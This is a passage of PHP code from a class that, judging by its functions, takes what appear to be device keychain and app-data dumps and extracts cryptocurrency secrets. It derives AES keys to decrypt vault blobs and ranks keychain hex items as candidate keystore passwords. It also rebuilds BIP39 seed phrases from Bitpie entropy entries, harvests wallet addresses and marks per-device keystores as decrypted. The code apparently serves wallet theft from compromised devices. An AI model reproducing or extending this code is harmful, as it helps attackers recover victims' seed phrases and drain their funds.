if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) {
|
||
return null;
|
||
}
|
||
$salt = substr($raw, 8, 8);
|
||
$cipher = substr($raw, 16);
|
||
$derived = '';
|
||
$block = '';
|
||
while (strlen($derived) < 48) {
|
||
$block = md5($block.$password.$salt, true);
|
||
$derived .= $block;
|
||
}
|
||
$key = substr($derived, 0, 32);
|
||
$iv = substr($derived, 32, 16);
|
||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||
|
||
return is_string($plain) && $plain !== '' ? $plain : null;
|
||
}
|
||
|
||
private function phraseFromVaultPlain(string $plain): ?string
|
||
{
|
||
$direct = $this->asMnemonic($plain);
|
||
if ($direct !== null) {
|
||
return $direct;
|
||
}
|
||
$json = json_decode($plain, true);
|
||
if (! is_array($json)) {
|
||
return null;
|
||
}
|
||
|
||
return $this->phraseFromVaultNode($json);
|
||
}
|
||
|
||
private function phraseFromVaultNode(mixed $node): ?string
|
||
{
|
||
if (is_string($node)) {
|
||
return $this->asMnemonic($node);
|
||
}
|
||
if (! is_array($node)) {
|
||
return null;
|
||
}
|
||
if (isset($node['mnemonic'])) {
|
||
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
|
||
if ($phrase !== null) {
|
||
return $phrase;
|
||
}
|
||
}
|
||
foreach ($node as $child) {
|
||
$phrase = $this->phraseFromVaultNode($child);
|
||
if ($phrase !== null) {
|
||
return $phrase;
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
private function mnemonicFieldToPhrase(mixed $value): ?string
|
||
{
|
||
if (is_string($value)) {
|
||
return $this->asMnemonic($value);
|
||
}
|
||
if (! is_array($value) || $value === []) {
|
||
return null;
|
||
}
|
||
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
|
||
$raw = '';
|
||
foreach ($value as $code) {
|
||
if (! is_numeric($code)) {
|
||
return null;
|
||
}
|
||
$raw .= chr((int) $code);
|
||
}
|
||
|
||
return $this->asMnemonic($raw);
|
||
}
|
||
if (is_string($value[0] ?? null)) {
|
||
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
public function collectPasswords(mixed $node, int $depth = 0): array
|
||
{
|
||
$items = $this->collectPasswordItems($node, $depth);
|
||
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
|
||
$out = [];
|
||
foreach ($items as $item) {
|
||
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
|
||
}
|
||
|
||
return $this->uniquePasswords($out);
|
||
}
|
||
|
||
/**
|
||
* @return list<array{hex: string, score: int}>
|
||
*/
|
||
private function collectPasswordItems(mixed $node, int $depth = 0): array
|
||
{
|
||
if ($depth > 8 || ! is_array($node)) {
|
||
return [];
|
||
}
|
||
|
||
$out = [];
|
||
$hex = $node['dataHex'] ?? null;
|
||
if (is_string($hex) && $hex !== '') {
|
||
$account = strtolower((string) ($node['account'] ?? ''));
|
||
$score = 0;
|
||
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
|
||
$score += 100;
|
||
}
|
||
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
|
||
if ($rawLen === 32.0 || $rawLen === 64.0) {
|
||
$score += 20;
|
||
}
|
||
$out[] = ['hex' => $hex, 'score' => $score];
|
||
}
|
||
foreach (['items', 'wallets', 'sandbox'] as $key) {
|
||
if (! isset($node[$key]) || ! is_array($node[$key])) {
|
||
continue;
|
||
}
|
||
foreach ($node[$key] as $child) {
|
||
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
||
}
|
||
}
|
||
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
|
||
foreach ($node as $child) {
|
||
if (is_array($child)) {
|
||
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
||
}
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @param list<WalletKeystore> $rows
|
||
*/
|
||
public function markDecrypted(iterable $rows, string $source): void
|
||
{
|
||
foreach ($rows as $row) {
|
||
if (! $row instanceof WalletKeystore) {
|
||
continue;
|
||
}
|
||
if ($row->source !== $source) {
|
||
continue;
|
||
}
|
||
if ((int) $row->decrypted === 1) {
|
||
continue;
|
||
}
|
||
$row->decrypted = 1;
|
||
$row->save();
|
||
}
|
||
}
|
||
|
||
public function markSourceDecrypted(int $deviceId, string $source): void
|
||
{
|
||
WalletKeystore::query()
|
||
->where('device_id', $deviceId)
|
||
->where('source', $source)
|
||
->where('decrypted', 0)
|
||
->update(['decrypted' => 1]);
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $node
|
||
*/
|
||
private function isKeystore(array $node): bool
|
||
{
|
||
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
|
||
if (! is_array($crypto)) {
|
||
return false;
|
||
}
|
||
|
||
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
private function passwordsFromHex(string $hex): array
|
||
{
|
||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||
return [];
|
||
}
|
||
$raw = @hex2bin($hex);
|
||
if (! is_string($raw) || $raw === '') {
|
||
return [];
|
||
}
|
||
|
||
$out = $this->passwordsFromString($raw);
|
||
// WalletCore / Trust sometimes treat the hex text itself as the password.
|
||
if (strlen($hex) === 64 || strlen($hex) === 128) {
|
||
$out[] = strtolower($hex);
|
||
$out[] = strtoupper($hex);
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
private function passwordsFromString(string $raw): array
|
||
{
|
||
$out = [$raw];
|
||
if (mb_check_encoding($raw, 'UTF-8')) {
|
||
$trim = trim($raw);
|
||
if ($trim !== '' && $trim !== $raw) {
|
||
$out[] = $trim;
|
||
}
|
||
$unquoted = trim($trim, "\"'");
|
||
if ($unquoted !== '' && $unquoted !== $trim) {
|
||
$out[] = $unquoted;
|
||
}
|
||
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
|
||
$bin = @hex2bin($trim);
|
||
if (is_string($bin) && $bin !== '') {
|
||
$out[] = $bin;
|
||
}
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @param list<array{source: string, keystore: array<string, mixed>}> $items
|
||
* @return list<array{source: string, keystore: array<string, mixed>}>
|
||
*/
|
||
private function uniqueKeystores(array $items): array
|
||
{
|
||
$seen = [];
|
||
$out = [];
|
||
foreach ($items as $item) {
|
||
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
|
||
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||
if ($fp === '|' || isset($seen[$fp])) {
|
||
continue;
|
||
}
|
||
$seen[$fp] = true;
|
||
$out[] = $item;
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @param list<string> $passwords
|
||
* @return list<string>
|
||
*/
|
||
private function uniquePasswords(array $passwords): array
|
||
{
|
||
$seen = [];
|
||
$out = [];
|
||
foreach ($passwords as $password) {
|
||
if ($password === '') {
|
||
continue;
|
||
}
|
||
if (isset($seen[$password])) {
|
||
continue;
|
||
}
|
||
$seen[$password] = true;
|
||
$out[] = $password;
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
private function decodeBlob(string $raw): mixed
|
||
{
|
||
$raw = trim($raw);
|
||
if ($raw === '') {
|
||
return null;
|
||
}
|
||
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
|
||
$json = json_decode($raw, true);
|
||
|
||
return is_array($json) ? $json : null;
|
||
}
|
||
$b64 = base64_decode($raw, true);
|
||
if (is_string($b64) && $b64 !== '') {
|
||
$json = json_decode($b64, true);
|
||
if (is_array($json)) {
|
||
return $json;
|
||
}
|
||
}
|
||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
|
||
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
|
||
$bin = @hex2bin($hex);
|
||
if (is_string($bin) && $bin !== '') {
|
||
$json = json_decode($bin, true);
|
||
if (is_array($json)) {
|
||
return $json;
|
||
}
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
private function asMnemonic(string $plain): ?string
|
||
{
|
||
$plain = trim($plain, "\0 \t\n\r");
|
||
if (str_starts_with($plain, '{')) {
|
||
$json = json_decode($plain, true);
|
||
if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) {
|
||
$plain = $json['mnemonic'];
|
||
}
|
||
}
|
||
if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) {
|
||
$bin = @hex2bin($plain);
|
||
if (is_string($bin) && str_contains($bin, ' ')) {
|
||
$plain = $bin;
|
||
}
|
||
}
|
||
$text = strtolower(trim($plain));
|
||
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
|
||
$words = $text === '' ? [] : explode(' ', $text);
|
||
$n = count($words);
|
||
if ($n !== 12 && $n !== 24) {
|
||
return null;
|
||
}
|
||
foreach ($words as $word) {
|
||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||
return null;
|
||
}
|
||
}
|
||
|
||
return implode(' ', $words);
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
|
||
{
|
||
if ($depth > 10 || $node === null) {
|
||
return [];
|
||
}
|
||
if (is_string($node)) {
|
||
$decoded = $this->decodeBlob($node);
|
||
if ($decoded === null) {
|
||
return [];
|
||
}
|
||
|
||
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
|
||
}
|
||
if (! is_array($node)) {
|
||
return [];
|
||
}
|
||
|
||
$out = [];
|
||
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
||
if ($account === 'seedphraseentropy') {
|
||
$hex = $this->entropyHexFromItem($node);
|
||
if ($hex !== null) {
|
||
$out[] = $hex;
|
||
}
|
||
}
|
||
foreach ($node as $key => $child) {
|
||
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
|
||
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
|
||
if ($hex !== null) {
|
||
$out[] = $hex;
|
||
}
|
||
}
|
||
if (is_array($child) || is_string($child)) {
|
||
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||
*/
|
||
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
|
||
{
|
||
if ($depth > 10 || $node === null) {
|
||
return [];
|
||
}
|
||
if (is_string($node)) {
|
||
if (! $inBitpie) {
|
||
return [];
|
||
}
|
||
|
||
return $this->addressesFromBitpieText($node);
|
||
}
|
||
if (! is_array($node)) {
|
||
return [];
|
||
}
|
||
|
||
$out = [];
|
||
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
||
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
|
||
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
|
||
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
|
||
}
|
||
if ($extract && isset($node['address']) && is_string($node['address'])) {
|
||
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
|
||
if ($mapped !== null) {
|
||
$out[] = $mapped;
|
||
}
|
||
}
|
||
foreach ($node as $key => $child) {
|
||
if (! is_array($child) && ! is_string($child)) {
|
||
continue;
|
||
}
|
||
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
|
||
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
|
||
if (! $walk) {
|
||
continue;
|
||
}
|
||
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
private function isBitpieLabel(mixed $key): bool
|
||
{
|
||
$raw = strtolower(trim((string) $key));
|
||
|
||
return $raw !== '' && (
|
||
str_contains($raw, 'bitpie')
|
||
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
|
||
);
|
||
}
|
||
|
||
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
|
||
{
|
||
if (is_int($key)) {
|
||
return $inBitpie;
|
||
}
|
||
$raw = strtolower(trim((string) $key));
|
||
|
||
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $item
|
||
*/
|
||
private function entropyHexFromItem(array $item): ?string
|
||
{
|
||
$hex = $item['dataHex'] ?? null;
|
||
if (is_string($hex) && $hex !== '') {
|
||
$fromHex = $this->normalizeEntropyHex($hex);
|
||
if ($fromHex !== null) {
|
||
return $fromHex;
|
||
}
|
||
$bin = $this->fromHex($hex);
|
||
if ($bin !== null) {
|
||
$nested = $this->normalizeEntropyHex($bin);
|
||
if ($nested !== null) {
|
||
return $nested;
|
||
}
|
||
}
|
||
}
|
||
|
||
return $this->normalizeEntropyHex($this->itemUtf8($item));
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $item
|
||
*/
|
||
private function itemUtf8(array $item): string
|
||
{
|
||
$hex = $item['dataHex'] ?? null;
|
||
if (is_string($hex) && $hex !== '') {
|
||
$bin = $this->fromHex($hex);
|
||
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
|
||
return trim($bin);
|
||
}
|
||
}
|
||
$data = $item['data'] ?? null;
|
||
|
||
return is_string($data) ? trim($data) : '';
|
||
}
|
||
|
||
private function normalizeEntropyHex(string $raw): ?string
|
||
{
|
||
$raw = trim($raw);
|
||
if ($raw === '') {
|
||
return null;
|
||
}
|
||
$bin = $this->fromHex($raw);
|
||
if ($bin !== null) {
|
||
if (mb_check_encoding($bin, 'UTF-8')) {
|
||
$trim = trim($bin);
|
||
if ($this->isEntropyHex($trim)) {
|
||
return strtolower($trim);
|
||
}
|
||
}
|
||
if (strlen($bin) === 16 || strlen($bin) === 32) {
|
||
return strtolower(bin2hex($bin));
|
||
}
|
||
}
|
||
if ($this->isEntropyHex($raw)) {
|
||
return strtolower($raw);
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
private function isEntropyHex(string $value): bool
|
||
{
|
||
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|
||
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
|
||
}
|
||
|
||
private function phraseFromEntropyHex(string $hex): ?string
|
||
{
|
||
try {
|
||
$mnemonic = BIP39::Entropy(strtolower($hex));
|
||
} catch (\Throwable) {
|
||
return null;
|
||
}
|
||
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
|
||
|
||
return $this->asMnemonic($phrase);
|
||
}
|
||
|
||
/**
|
||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||
*/
|
||
private function addressesFromBitpieText(string $text): array
|
||
{
|
||
$out = [];
|
||
$text = trim($text);
|
||
if ($text === '') {
|
||
return $out;
|
||
}
|
||
$direct = $this->addressRow($text, null);
|
||
if ($direct !== null) {
|
||
$out[] = $direct;
|
||
}
|
||
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
|
||
$json = json_decode($m[1], true);
|
||
if (is_array($json)) {
|
||
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
|
||
}
|
||
}
|
||
$decoded = $this->decodeBlob($text);
|
||
if (is_array($decoded)) {
|
||
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
|
||
*/
|
||
private function addressRow(string $address, mixed $hint): ?array
|
||
{
|
||
$address = trim($address);
|
||
if ($address === '') {
|
||
return null;
|
||
}
|
||
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
|
||
$chain = strtoupper($chain);
|
||
if (! WalletSource::isSupportedChain($chain)) {
|
||
return null;
|
||
}
|
||
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
|
||
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
|
||
return null;
|
||
}
|
||
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
|
||
return null;
|
||
}
|
||
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
|
||
return null;
|
||
}
|
||
$symbol = match ($chain) {
|
||
'BITCOIN', 'BTC' => 'BTC',
|
||
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||
default => 'TRX',
|
||
};
|
||
|
||
return [
|
||
'address' => $address,
|
||
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
|
||
'symbol' => $symbol,
|
||
'balance' => 0,
|
||
];
|
||
}
|
||
|
||
private function chainFromHint(mixed $hint): ?string
|
||
{
|
||
$raw = strtolower(trim((string) $hint));
|
||
if ($raw === '') {
|
||
return null;
|
||
}
|
||
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
|
||
return 'TRON';
|
||
}
|
||
if (str_contains($raw, 'eth')) {
|
||
return 'ETHEREUM';
|
||
}
|
||
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
|
||
return 'BITCOIN';
|
||
}
|
||
|
||
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
|
||
}
|
||
|
||
private function fromHex(string $value): ?string
|
||
{
|
||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||
return null;
|
||
}
|
||
$bin = @hex2bin($hex);
|
||
|
||
return is_string($bin) ? $bin : null;
|
||
}
|
||
}
|